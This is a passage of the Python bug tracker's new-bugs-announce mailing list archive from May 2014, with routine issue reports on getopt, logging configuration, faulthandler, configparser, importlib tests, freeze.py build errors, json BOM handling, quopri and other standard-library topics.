Subject: [New-bugs-announce] [issue21494] getopt error doesnot display
	correct error
Message-ID: <1399984889.06.0.295770888533.issue21494@psf.upfronthosting.co.za>


New submission from Priya pawar:

i created command from getopt but it gives error if i give single hyphan in long option
it should check long option not in small option. 

eg.  hello -foo
 -o option is not recognized

hello --foo is working fine.

----------
messages: 218447
nosy: priya
priority: normal
severity: normal
status: open
title: getopt error doesnot display correct error
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21494>
_______________________________________

From report at bugs.python.org  Tue May 13 15:32:56 2014
From: report at bugs.python.org (Thomas Guettler)
Date: Tue, 13 May 2014 13:32:56 +0000
Subject: [New-bugs-announce] [issue21495] Sane default for logging config
Message-ID: <1399987976.18.0.00182198684039.issue21495@psf.upfronthosting.co.za>


New submission from Thomas Guettler:

Imagine you write a small console script which is implemented like a library.

This tool has to do two things: the console script needs to configure the logging, and the library needs to use it.

The library usage of logging it easy well documented:

{{{
logger=logging.getLogger(__name__)
}}}

But the part in the console script has no sane default in the python world. 

I know how to set up the logging config with BasicConfig, DictConfig, ...

There needs to be something like DefaultConfig() which reads its config from well known places. 

This bug report is not about clever code solutions. It is about a sane and easy default agreement on how to load the logging configuration.

----------
messages: 218453
nosy: guettli
priority: normal
severity: normal
status: open
title: Sane default for logging config

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21495>
_______________________________________

From report at bugs.python.org  Tue May 13 15:52:50 2014
From: report at bugs.python.org (couplewavylines)
Date: Tue, 13 May 2014 13:52:50 +0000
Subject: [New-bugs-announce] [issue21496] pyvenv activate_this.py
Message-ID: <1399989170.01.0.911856918297.issue21496@psf.upfronthosting.co.za>


New submission from couplewavylines:

Is there any plan to add an 'activate_this.py' to venv? The virtualenv package includes this script. Its purpose is to activate the environment "in-place," from other Python code.
One use-case is running multiple WSGI apps that each need a different virtual environment: https://www.pythonanywhere.com/wiki/VirtualEnvForNewerDjango

----------
components: Library (Lib)
messages: 218455
nosy: couplewavylines
priority: normal
severity: normal
status: open
title: pyvenv activate_this.py
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21496>
_______________________________________

From report at bugs.python.org  Tue May 13 16:09:29 2014
From: report at bugs.python.org (Florian Bruhin)
Date: Tue, 13 May 2014 14:09:29 +0000
Subject: [New-bugs-announce] [issue21497] faulthandler should handle
	sys.stderr being None	gracefully
Message-ID: <1399990169.45.0.873283104693.issue21497@psf.upfronthosting.co.za>


New submission from Florian Bruhin:

When faulthandler is used while sys.stderr is None (e.g. when using pythonw.exe), a (IMHO) confusing exception is raised:

    Traceback (most recent call last):
      File "test.py", line 7, in <module>
         faulthandler.enable()
    AttributeError: 'NoneType' object has no attribute 'fileno'

Example script which demonstrates the issue without using pythonw.exe:

    import faulthandler
    import sys

    sys.stderr = None

    try:
        faulthandler.enable()
    except:
        sys.stderr = sys.__stderr__
        raise

Looking at the code it seems the file passed gets correctly checked against NULL and Py_None, but stderr (as fallback) then only gets checked against NULL:

http://hg.python.org/cpython/file/8885fc2e92b3/Modules/faulthandler.c#l141

----------
components: Extension Modules
messages: 218461
nosy: The Compiler, haypo
priority: normal
severity: normal
status: open
title: faulthandler should handle sys.stderr being None gracefully
type: behavior
versions: Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21497>
_______________________________________

From report at bugs.python.org  Tue May 13 16:47:29 2014
From: report at bugs.python.org (Florian Bruhin)
Date: Tue, 13 May 2014 14:47:29 +0000
Subject: [New-bugs-announce] [issue21498] configparser accepts keys
	beginning with comment_chars	when writing
Message-ID: <1399992449.17.0.699994077825.issue21498@psf.upfronthosting.co.za>


New submission from Florian Bruhin:

When adding something to a configparser instance which has a key beginning with a comment char, it writes the data to a file without generating an error, and when reading the file back obviously the data is different as it's a comment:

    >>> cp = configparser.ConfigParser()
    >>> cp.read_dict({'DEFAULT': {';foo': 'bar'}})
    >>> cp.write(sys.stdout)
    [DEFAULT]
    ;foo = bar

This was discussed on python-dev here:
https://mail.python.org/pipermail/python-dev/2014-April/134293.html

Of course there are other corner cases as well, like having a key like "[foo]" or "=bar".

I think whatever data I pass into a configparser should also come out again when reading the file back.

Since there's no escaping in configparser, I think the ideal solution would be configparser refusing to write ambigious values.

While this is technically a backwards-incompatible change, applications doing this were broken in the first place, so validation while writing will not break anything.

Validating when setting values would be better of course, but this can potentially break applications where configparser is used without actually writing a file.

----------
components: Library (Lib)
messages: 218463
nosy: The Compiler, lukasz.langa
priority: normal
severity: normal
status: open
title: configparser accepts keys beginning with comment_chars when writing
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21498>
_______________________________________

From report at bugs.python.org  Tue May 13 20:13:54 2014
From: report at bugs.python.org (Eric Snow)
Date: Tue, 13 May 2014 18:13:54 +0000
Subject: [New-bugs-announce] [issue21499] test_importlib incorrectly relies
	on	<module>.__builtins__
Message-ID: <1400004834.04.0.700423021102.issue21499@psf.upfronthosting.co.za>


New submission from Eric Snow:

Per the docs*, a module's __builtins__ may be a module or a dict or even missing.  However, test.test_importlib.test_api.ReloadTests checks __builtins__ as part of several tests.  Instead, the tests should ignore __bulitins__.  I'll push a patch in a minute that fixes that.

* https://docs.python.org/3/library/builtins.html

----------
assignee: eric.snow
components: Tests
messages: 218474
nosy: brett.cannon, eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: test_importlib incorrectly relies on <module>.__builtins__
type: behavior
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21499>
_______________________________________

From report at bugs.python.org  Tue May 13 20:55:58 2014
From: report at bugs.python.org (Eric Snow)
Date: Tue, 13 May 2014 18:55:58 +0000
Subject: [New-bugs-announce] [issue21500] Make use of the "load_tests"
	protocol in test_importlib	packages
Message-ID: <1400007358.12.0.940641548905.issue21500@psf.upfronthosting.co.za>


New submission from Eric Snow:

Right now to run importlib tests you can do either of the following:

./python -m tests test_importlib
./python -m tests.test_importlib

Both make use of the regrtest infrastructure.  For test submodules the commands are similar:

./python -m tests test_importlib.test_api
./python -m tests.test_importlib.test_api

You can also use unittest directly when testing specific test modules:

./python -m unittest tests.test_importlib.test_api
./python -m unittest tests.test_importlib.test_api.Source_ReloadTests.test_reload_location_changed

However, currently you cannot use unittest directly with a test package:

./python -m unittest tests.test_importlib
./python -m unittest tests.test_importlib.source

It would be nice to be able to do so, rather than switching back and forth between the unittest CLI and the regrtest CLI.

The change to do so is relatively straight-forward using the "load_tests" protocol*.  Just add the following to the __init__.py of the test packages:

 def load_tests(loader, tests, pattern):
     from test import TEST_HOME_DIR as topdir
     startdir = os.path.dirname(__name__)
     pkgtests = loader.discover(startdir, pattern or 'test*.py', topdir)
     tests.addTests(pkgtests)
     return tests

The boilerplate could even be moved to tests.support as a factory function:

 def make_load_tests(modfilename):
     from test import TEST_HOME_DIR as topdir
     startdir = os.path.dirname(modfilename)
     def load_tests(loader, tests, pattern):
         pkgtests = loader.discover(startdir, pattern or 'test*.py', topdir)
         tests.addTests(pkgtests)
         return tests
     return load_tests

In the test package __init__.py:

  load_tests = support.make_load_tests(__name__)

Then using unittest directly with an importlib test package will work as expected.  This is also something that could readily apply to any other test packages in the suite, which is why the factory function in test.support makes sense.

* https://docs.python.org/2/library/unittest.html#load-tests-protocol

----------
components: Tests
messages: 218476
nosy: brett.cannon, eric.snow
priority: low
severity: normal
stage: needs patch
status: open
title: Make use of the "load_tests" protocol in test_importlib packages
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21500>
_______________________________________

From report at bugs.python.org  Tue May 13 21:18:53 2014
From: report at bugs.python.org (Steve Foley)
Date: Tue, 13 May 2014 19:18:53 +0000
Subject: [New-bugs-announce] [issue21501] submitting mmap example for use in
	documentation
Message-ID: <1400008733.4.0.146542624997.issue21501@psf.upfronthosting.co.za>


New submission from Steve Foley:

Hello, I would like to submit an example for the mmap docs page. It demonstrates the use of shared memory and message passing between processes. Thanks!

--------------------

import mmap, os, select

NUM_CHILDREN = 30
MSG_LEN = 8
BUF_LEN = NUM_CHILDREN * MSG_LEN

buf = mmap.mmap(-1, BUF_LEN)
p = select.poll()

def write_buffer(i):
    msg = '%s\t%d\n' % (i, os.getpid())
    offset = MSG_LEN * i
    buf.seek(offset)
    buf.write(msg)

def child(i, pipeout):
    write_buffer(i)
    os.write(pipeout, 'OK\0'.encode())
    os._exit(0)

def fork(i, p):
    pipein, pipeout = os.pipe()
    if os.fork() == 0:
        child(i, pipeout)
    else:
        p.register(pipein)

def loop(msgs, p):
    while msgs:
        for fd, event in p.poll():
            p.unregister(fd)
            msgs = msgs - 1

for i in range(NUM_CHILDREN):
    fork(i, p)

loop(NUM_CHILDREN, p)

buf.seek(0)
print buf.read(BUF_LEN)

----------
assignee: docs at python
components: Documentation
messages: 218478
nosy: docs at python, hudson
priority: normal
severity: normal
status: open
title: submitting mmap example for use in documentation
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21501>
_______________________________________

From report at bugs.python.org  Wed May 14 02:11:32 2014
From: report at bugs.python.org (Jiang-Nan Yang)
Date: Wed, 14 May 2014 00:11:32 +0000
Subject: [New-bugs-announce] [issue21502] freeze.py not working properly on
	Mac OSX 10.9
Message-ID: <1400026292.27.0.150943565159.issue21502@psf.upfronthosting.co.za>


New submission from Jiang-Nan Yang:

Command:
python3.4 /Library/Frameworks/Python.framework/Versions/3.4/share/doc/python3.4/examples/Tools/freeze/freeze.py okcointrade.py

Error:
Reporting needed directory %s not found

Basically the problem is on lines 235~239: config should be config-3.4m, python%s on two lines should be python%sm

After I corrected these errors, the command works, asking me to run make, except a warning about "unknown modules remains".

So I run make, another error occurs:
gcc-4.2 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/Library/Frameworks/Python.framework/Versions/3.4/include/python3.4m -I/Library/Frameworks/Python.framework/Versions/3.4/include/python3.4m -c M_difflib.c
gcc-4.2 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/Library/Frameworks/Python.framework/Versions/3.4/include/python3.4m -I/Library/Frameworks/Python.framework/Versions/3.4/include/python3.4m -c M_ftplib.c
gcc-4.2 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/Library/Frameworks/Python.framework/Versions/3.4/include/python3.4m -I/Library/Frameworks/Python.framework/Versions/3.4/include/python3.4m -c M_pydoc.c
gcc-4.2  -Wl,-stack_size,1000000  -framework CoreFoundation Python.framework/Versions/3.4/Python config.o frozen.o M___future__.o M___main__.o M__bootlocale.o M__collections_abc.o M__dummy_thread.o M__osx_support.o M__sitebuiltins.o M__strptime.o M__sysconfigdata.o M__threading_local.o M__weakrefset.o M_abc.o M_argparse.o M_ast.o M_base64.o M_bdb.o M_bisect.o M_bz2.o M_calendar.o M_cmd.o M_code.o M_codecs.o M_codeop.o M_collections.o M_contextlib.o M_copy.o M_copyreg.o M_datetime.o M_difflib.o M_dis.o M_distutils.o M_distutils__errors.o M_distutils__log.o M_distutils__spawn.o M_distutils__sysconfig.o M_distutils__text_file.o M_doctest.o M_dummy_threading.o M_email.o M_email___encoded_words.o M_email___header_value_parser.o M_email___parseaddr.o M_email___policybase.o M_email__base64mime.o M_email__charset.o M_email__contentmanager.o M_email__encoders.o M_email__errors.o M_email__feedparser.o M_email__generator.o M_email__header.o M_email__headerregistry.o M_email__iterators.o M_email__message.o M_email__parser.o M_email__policy.o M_email__quoprimime.o M_email__utils.o M_encodings.o M_encodings__aliases.o M_encodings__latin_1.o M_encodings__utf_8.o M_enum.o M_fnmatch.o M_ftplib.o M_functools.o M_genericpath.o M_getopt.o M_getpass.o M_gettext.o M_glob.o M_gzip.o M_hashlib.o M_heapq.o M_html.o M_html__entities.o M_http.o M_http__client.o M_http__cookiejar.o M_http__server.o M_imp.o M_importlib.o M_importlib___bootstrap.o M_importlib__machinery.o M_importlib__util.o M_inspect.o M_io.o M_json.o M_json__decoder.o M_json__encoder.o M_json__scanner.o M_keyword.o M_linecache.o M_locale.o M_logging.o M_lzma.o M_mimetypes.o M_ntpath.o M_nturl2path.o M_opcode.o M_operator.o M_optparse.o M_os.o M_pdb.o M_pkgutil.o M_platform.o M_plistlib.o M_posixpath.o M_pprint.o M_py_compile.o M_pydoc.o M_pydoc_data.o M_pydoc_data__topics.o M_quopri.o M_random.o M_re.o M_reprlib.o M_rlcompleter.o M_selectors.o M_shlex.o M_shutil.o M_site.o M_socket.o M_socketserver.o M_sre_compile.o M_sre_constants.o M_sre_parse.o M_ssl.o M_stat.o M_string.o M_struct.o M_subprocess.o M_sysconfig.o M_tarfile.o M_tempfile.o M_textwrap.o M_threading.o M_token.o M_tokenize.o M_traceback.o M_tty.o M_types.o M_unittest.o M_unittest__case.o M_unittest__loader.o M_unittest__main.o M_unittest__result.o M_unittest__runner.o M_unittest__signals.o M_unittest__suite.o M_unittest__util.o M_urllib.o M_urllib__error.o M_urllib__parse.o M_urllib__request.o M_urllib__response.o M_uu.o M_warnings.o M_weakref.o M_webbrowser.o M_xml.o M_xml__parsers.o M_xml__parsers__expat.o M_zipfile.o /Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/config-3.4m/libpython3.4.a   -ldl  -framework CoreFoundation   -o okcointrade
clang: error: no such file or directory: 'Python.framework/Versions/3.4/Python'
make: *** [okcointrade] Error 1

I guess that 'Python.framework/Versions/3.4/Python' using a relative location might be a problem, so I go into the Makefile, changed PYTHONFRAMEWORKDIR=Python.framework
into
PYTHONFRAMEWORKDIR=/Library/Frameworks/Python.framework

Now the above problem disappeared, but a new appeared:
gcc-4.2  -Wl,-stack_size,1000000  -framework CoreFoundation /Library/Frameworks/Python.framework/Versions/3.4/Python config.o frozen.o M___future__.o M___main__.o M__bootlocale.o M__collections_abc.o M__dummy_thread.o M__osx_support.o M__sitebuiltins.o M__strptime.o M__sysconfigdata.o M__threading_local.o M__weakrefset.o M_abc.o M_argparse.o M_ast.o M_base64.o M_bdb.o M_bisect.o M_bz2.o M_calendar.o M_cmd.o M_code.o M_codecs.o M_codeop.o M_collections.o M_contextlib.o M_copy.o M_copyreg.o M_datetime.o M_difflib.o M_dis.o M_distutils.o M_distutils__errors.o M_distutils__log.o M_distutils__spawn.o M_distutils__sysconfig.o M_distutils__text_file.o M_doctest.o M_dummy_threading.o M_email.o M_email___encoded_words.o M_email___header_value_parser.o M_email___parseaddr.o M_email___policybase.o M_email__base64mime.o M_email__charset.o M_email__contentmanager.o M_email__encoders.o M_email__errors.o M_email__feedparser.o M_email__generator.o M_email__header.o M_email__headerregistry.o M_email__iterators.o M_email__message.o M_email__parser.o M_email__policy.o M_email__quoprimime.o M_email__utils.o M_encodings.o M_encodings__aliases.o M_encodings__latin_1.o M_encodings__utf_8.o M_enum.o M_fnmatch.o M_ftplib.o M_functools.o M_genericpath.o M_getopt.o M_getpass.o M_gettext.o M_glob.o M_gzip.o M_hashlib.o M_heapq.o M_html.o M_html__entities.o M_http.o M_http__client.o M_http__cookiejar.o M_http__server.o M_imp.o M_importlib.o M_importlib___bootstrap.o M_importlib__machinery.o M_importlib__util.o M_inspect.o M_io.o M_json.o M_json__decoder.o M_json__encoder.o M_json__scanner.o M_keyword.o M_linecache.o M_locale.o M_logging.o M_lzma.o M_mimetypes.o M_ntpath.o M_nturl2path.o M_opcode.o M_operator.o M_optparse.o M_os.o M_pdb.o M_pkgutil.o M_platform.o M_plistlib.o M_posixpath.o M_pprint.o M_py_compile.o M_pydoc.o M_pydoc_data.o M_pydoc_data__topics.o M_quopri.o M_random.o M_re.o M_reprlib.o M_rlcompleter.o M_selectors.o M_shlex.o M_shutil.o M_site.o M_socket.o M_socketserver.o M_sre_compile.o M_sre_constants.o M_sre_parse.o M_ssl.o M_stat.o M_string.o M_struct.o M_subprocess.o M_sysconfig.o M_tarfile.o M_tempfile.o M_textwrap.o M_threading.o M_token.o M_tokenize.o M_traceback.o M_tty.o M_types.o M_unittest.o M_unittest__case.o M_unittest__loader.o M_unittest__main.o M_unittest__result.o M_unittest__runner.o M_unittest__signals.o M_unittest__suite.o M_unittest__util.o M_urllib.o M_urllib__error.o M_urllib__parse.o M_urllib__request.o M_urllib__response.o M_uu.o M_warnings.o M_weakref.o M_webbrowser.o M_xml.o M_xml__parsers.o M_xml__parsers__expat.o M_zipfile.o /Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/config-3.4m/libpython3.4.a   -ldl  -framework CoreFoundation   -o okcointrade
Undefined symbols for architecture x86_64:
  "_PyInit__imp", referenced from:
      __PyImport_Inittab in config.o
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make: *** [okcointrade] Error 1

Now it is out of my comprehension. What is wrong? How can I get freeze.py to work? I have a program doing very very heavy computation, so I really hope I can compile it into binary so that it could run much faster.

Thanks.

----------
assignee: ronaldoussoren
components: Macintosh
messages: 218493
nosy: ronaldoussoren, yjiangnan
priority: normal
severity: normal
status: open
title: freeze.py not working properly on Mac OSX 10.9
type: compile error
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21502>
_______________________________________

From report at bugs.python.org  Wed May 14 02:25:29 2014
From: report at bugs.python.org (Eric Snow)
Date: Wed, 14 May 2014 00:25:29 +0000
Subject: [New-bugs-announce] [issue21503] Use test_both() consistently
	throughout test_importlib
Message-ID: <1400027129.06.0.740257439061.issue21503@psf.upfronthosting.co.za>


New submission from Eric Snow:

test_importlib.util provides the test_both() function that facilitates testing both the frozen and source versions of importlib.  The function helps to keep the tests more maintainable.  However, the following test modules are not using test_both():

Lib/test/test_importlib/test_abc.py
Lib/test/test_importlib/test_api.py
Lib/test/test_importlib/test_locks.py
Lib/test/test_importlib/test_spec.py
Lib/test/test_importlib/test_windows.py

Furthermore, the remaining test modules use test_both() inconsistently.  Here is a patch that makes consistent use of test_both() and formats usage in a way that helps with readability.

----------
assignee: eric.snow
components: Tests
files: use-test_both-consistently.diff
keywords: patch
messages: 218494
nosy: brett.cannon, eric.snow
priority: low
severity: normal
stage: needs patch
status: open
title: Use test_both() consistently throughout test_importlib
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35246/use-test_both-consistently.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21503>
_______________________________________

From report at bugs.python.org  Wed May 14 04:40:46 2014
From: report at bugs.python.org (donald petravick)
Date: Wed, 14 May 2014 02:40:46 +0000
Subject: [New-bugs-announce] [issue21504] can the subprocess module war
	using os.wait4 and so	return usage?
Message-ID: <1400035246.64.0.2270855198.issue21504@psf.upfronthosting.co.za>


New submission from donald petravick:

hi,  we use python for the Dark Energy Survey and use the subprocess module to run a variety of programs, which we do not control.  One concern we have is to monitor system information such as whether the code causes swapping.  It's be really useful if

-- The Pipe object (and similar objectsI in the subprocess module could ....

- have waits in unix implemented by  os.wait4() for unix, instead of os.waitpid()
- have an new data member, rusage, make the resource usage available to the caller.

An additional comment is that all of the wait() family of system calls are implemented in terms of wait4, and there is an argument that hiding usage has no effective cost.  

There is a wait(self,...)  method in pipe. it seems a simple change to subprocess.Pipe to call os.wait4 in the unix variant and stash usage in a data member.

----------
components: Library (Lib)
messages: 218498
nosy: donald.petravick
priority: normal
severity: normal
status: open
title: can the subprocess module war using os.wait4 and so return usage?
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21504>
_______________________________________

From report at bugs.python.org  Wed May 14 08:08:34 2014
From: report at bugs.python.org (Shivani)
Date: Wed, 14 May 2014 06:08:34 +0000
Subject: [New-bugs-announce] [issue21505] cx_freeze multiprocessing bug
Message-ID: <1400047714.39.0.600066285372.issue21505@psf.upfronthosting.co.za>


New submission from Shivani:

Hey all,
I have problem with multiprocessing and cx_freeze..
I am freezing my UI application.

i have a line in code::->

"multiprocessing.set_executable(os.path.join(sys.exec_prefix, 'pythonw.exe'))"

when a commented out this line, my UI keeps iterating again and again.
and when i uncomment it, without throwing any error,UI just stuck in its second phase.

and moreover spoiling my unfreezen code olso.

What can be the problem with multi processing and cx_freeze relation..?

Thanks in Advance.

----------
components: Tkinter
messages: 218503
nosy: shivani
priority: normal
severity: normal
status: open
title: cx_freeze multiprocessing bug
versions: Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21505>
_______________________________________

From report at bugs.python.org  Wed May 14 13:36:10 2014
From: report at bugs.python.org (Ed Morley)
Date: Wed, 14 May 2014 11:36:10 +0000
Subject: [New-bugs-announce] [issue21506] Windows MSI installer should
	mklink (symlink) python.exe	to python2.7.exe
Message-ID: <1400067370.68.0.607872004364.issue21506@psf.upfronthosting.co.za>


New submission from Ed Morley:

A python.org 2.7.6 release of the Windows MSI installer, results in only the following python binaries in the installation directory:
C:\Python27\python.exe
C:\Python27\pythonw.exe

In Mozilla bug https://bugzilla.mozilla.org/show_bug.cgi?id=957721 we would like to be able to force our 'mach' script to use Python2.7 (due to the assorted Python versions present on our CI machines), however doing so via the script shebang line breaks local developer workflows on Windows, since the default Python install doesn't include python2.7.exe and so the binary isn't found.

As such, it would be great if python.exe could be symlinked to pythonX.Y.exe (and also I guess pythonX.exe) as part of the Windows installation/build - giving us parity with Unix based platforms. 

This can be done on Windows using mklink (http://ss64.com/nt/mklink.html), eg:

c:\Python27>mklink python2.7.exe python.exe
symbolic link created for python2.7.exe <<===>> python.exe

c:\Python27>mklink python2.exe python.exe
symbolic link created for python2.exe <<===>> python.exe

c:\Python27>dir python*

10/11/2013  19:24            26,624 python.exe
14/05/2014  12:04    <SYMLINK>      python2.exe [python.exe]
14/05/2014  12:04    <SYMLINK>      python2.7.exe [python.exe]
10/11/2013  19:24            27,136 pythonw.exe

Alternatively, just a plain copy of the binary prior to creating the MSI would be just as helpful for us too.

I searched for a while to see if there were any bugs filed for this already, but the closest I could find was:
* http://legacy.python.org/dev/peps/pep-0397/ - which is about a smart launcher that uses the shebang lines to run the correct Python version when multiple are installed (and thus is quite a different request to that in this bug).
* and https://mail.python.org/pipermail/python-dev/2011-March/108850.html which suggests the idea as in this bug summary here, but it seems like a bug for it was never filed.

Many thanks :-)

----------
components: Build, Installation, Windows
messages: 218521
nosy: edmorley, loewis
priority: normal
severity: normal
status: open
title: Windows MSI installer should mklink (symlink) python.exe to python2.7.exe
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21506>
_______________________________________

From report at bugs.python.org  Wed May 14 14:32:52 2014
From: report at bugs.python.org (Lev Givon)
Date: Wed, 14 May 2014 12:32:52 +0000
Subject: [New-bugs-announce] [issue21507] memory used by frozenset created
	from set differs from	that of frozenset created from other iterable
Message-ID: <1400070772.56.0.315189597778.issue21507@psf.upfronthosting.co.za>


New submission from Lev Givon:

Not sure if this is indicative of a bug, but I noticed that a frozenset created from a set seems to occupy a different amount of memory than a frozenset created from some other iterable. I observed this behavior with Python 2.7.5 and with Python 3.4.0 on Ubuntu 14.04 x86_64:

>>> from sys import getsizeof
>>> x = range(100)
>>> s = set(x)
>>> f0 = frozenset(x)
>>> f1 = frozenset(s)
>>> getsizeof(s)
8424
>>> getsizeof(f0)
8424
>>> getsizeof(f1)
4328
>>> f0==f1
True

Original question on StackOverflow available at https://stackoverflow.com/questions/23618259/memory-occupied-by-set-vs-frozenset-in-python-2-7

----------
messages: 218524
nosy: lebedov
priority: normal
severity: normal
status: open
title: memory used by frozenset created from set differs from that of frozenset created from other iterable
type: resource usage
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21507>
_______________________________________

From report at bugs.python.org  Wed May 14 16:33:43 2014
From: report at bugs.python.org (Steve)
Date: Wed, 14 May 2014 14:33:43 +0000
Subject: [New-bugs-announce] [issue21508] C API PyArg_ParseTuple doc is
	innacurate
Message-ID: <1400078023.63.0.359608332224.issue21508@psf.upfronthosting.co.za>


New submission from Steve:

PyArg_ParseTuple is defined as returning an "int", but the documentation talks about returning a true/false value, and failling on false.  In addition to being inaccurate, considering that most other functions fail on !=0 ("true"), it can lead to confusion.

Doc:
int PyArg_ParseTuple(PyObject *args, const char *format, ...)
Parse the parameters of a function that takes only positional parameters into local variables. Returns true on success; on failure, it returns false and raises the appropriate exception.

----------
assignee: docs at python
components: Documentation
messages: 218536
nosy: Banger, docs at python
priority: normal
severity: normal
status: open
title: C API PyArg_ParseTuple doc is innacurate
type: enhancement
versions: Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21508>
_______________________________________

From report at bugs.python.org  Wed May 14 22:32:52 2014
From: report at bugs.python.org (Kristian Benoit)
Date: Wed, 14 May 2014 20:32:52 +0000
Subject: [New-bugs-announce] [issue21509] json.load fails to read UTF-8 file
	with (BOM) Byte Order	Marks
Message-ID: <1400099572.93.0.56172954955.issue21509@psf.upfronthosting.co.za>


New submission from Kristian Benoit:

I'm trying to parse a json and keep getting ValueError. File reports the file as being "UTF-8 Unicode (with BOM) text", vim reports it as UTF-8, ...

json.load docs says it support UTF-8 out of the box.

Here's a link to the file : http://donnees.ville.sherbrooke.qc.ca/storage/f/2014-03-10T17%3A45%3A18.959Z/matieres-residuelles.json

----------
files: matieres.json
messages: 218573
nosy: Kristian.Benoit
priority: normal
severity: normal
status: open
title: json.load fails to read UTF-8 file with (BOM) Byte Order Marks
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file35254/matieres.json

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21509>
_______________________________________

From report at bugs.python.org  Thu May 15 07:19:05 2014
From: report at bugs.python.org (Jayanth Koushik)
Date: Thu, 15 May 2014 05:19:05 +0000
Subject: [New-bugs-announce] [issue21510] fma documentation should provide
	better example.
Message-ID: <1400131145.93.0.338142878224.issue21510@psf.upfronthosting.co.za>


New submission from Jayanth Koushik:

The documentation for decimal.fma provides an example which fails to illustrate the most important feature of the function i.e. single rounding. In fact:

    Decimal(2).fma(3, 5) == Decimal(2)*3 + 5

An example such as this would make it much more clear:

    >>> getcontext().prec = 2
    >>> getcontext().rounding = ROUND_DOWN
    >>> Decimal('1.5')*Decimal('1.5') + Decimal('1.05')
    Decimal('3.2')
    >>> Decimal('1.5').fma(Decimal('1.5'), Decimal('1.05'))
    Decimal('3.3')

----------
assignee: docs at python
components: Documentation
messages: 218592
nosy: docs at python, jayanthkoushik
priority: normal
severity: normal
status: open
title: fma documentation should provide better example.
type: enhancement
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21510>
_______________________________________

From report at bugs.python.org  Thu May 15 18:37:35 2014
From: report at bugs.python.org (Paul Sokolovsky)
Date: Thu, 15 May 2014 16:37:35 +0000
Subject: [New-bugs-announce] [issue21511] Thinko in Lib/quopri.py
Message-ID: <1400171855.37.0.067918723363.issue21511@psf.upfronthosting.co.za>


New submission from Paul Sokolovsky:

Lib/quopri.py for version 3.3..3.5-tip contains following code:

ESCAPE = b'='
...
        line = input.readline()
        if not line: break
        i, n = 0, len(line)
        if n > 0 and line[n-1:n] == b'\n':
...
            elif i+1 < n and line[i+1] == ESCAPE:


So, ESCAPE is defined as bytes, we see that "line" is read as bytes, and characters are accessed using idiom like "line[n-1:n]", but then it uses "line[i+1]", which returns int and thus will never be equal to ESCAPE.

I'm not sure what exact semantic condition that branch represents, for me it looks like "==" sequence to be decoded as "=". But I don't see such encoding variant in http://en.wikipedia.org/wiki/Quoted-printable . Either way, replacing that condition with "and False", still passes test_quopri.py

----------
components: Library (Lib)
messages: 218618
nosy: pfalcon
priority: normal
severity: normal
status: open
title: Thinko in Lib/quopri.py
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21511>
_______________________________________

From report at bugs.python.org  Thu May 15 19:50:18 2014
From: report at bugs.python.org (Ryder Lewis)
Date: Thu, 15 May 2014 17:50:18 +0000
Subject: [New-bugs-announce] [issue21512] time module becomes None after
	raise SystemExit
Message-ID: <1400176218.84.0.180838501812.issue21512@psf.upfronthosting.co.za>


New submission from Ryder Lewis:

I'm not sure if this is a bug or expected behavior, but basically what I want to do is log the timestamp when an application exits. Sample script to illustrate the issue:

==== try.py ====
import time

class A():
    def __init__(self):
        print("Initializing A. The time is {}".format(time.time()))

    def __del__(self):
        if time is None:
            print("time is None!")
        else:
            print("Deleting A. The time is {}".format(time.time()))

a = A()
raise SystemExit()

=====

When running this script multiple times, there are 3 possible outcomes:

==== outcome #1 (happens about 25% of my trial runs, what I would expect is correct behavior) ====
Initializing A. The time is 1400175810.4806361
Deleting A. The time is 1400175810.483156

==== outcome #2 (happens about 50% of my trial runs) ====
Initializing A. The time is 1400175814.1646852
time is None!

==== outcome #3 (happens about 25% of my trial runs) ====
Initializing A. The time is 1400175809.6802816
Exception ignored in: <bound method A.__del__ of <__main__.A object at 0x7fb125eab5f8>>
Traceback (most recent call last):
  File "./try.py", line 12, in __del__
TypeError: 'NoneType' object is not callable

----------
components: Interpreter Core
messages: 218619
nosy: ryder.lewis
priority: normal
severity: normal
status: open
title: time module becomes None after raise SystemExit
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21512>
_______________________________________

From report at bugs.python.org  Thu May 15 23:24:37 2014
From: report at bugs.python.org (Antoine Pitrou)
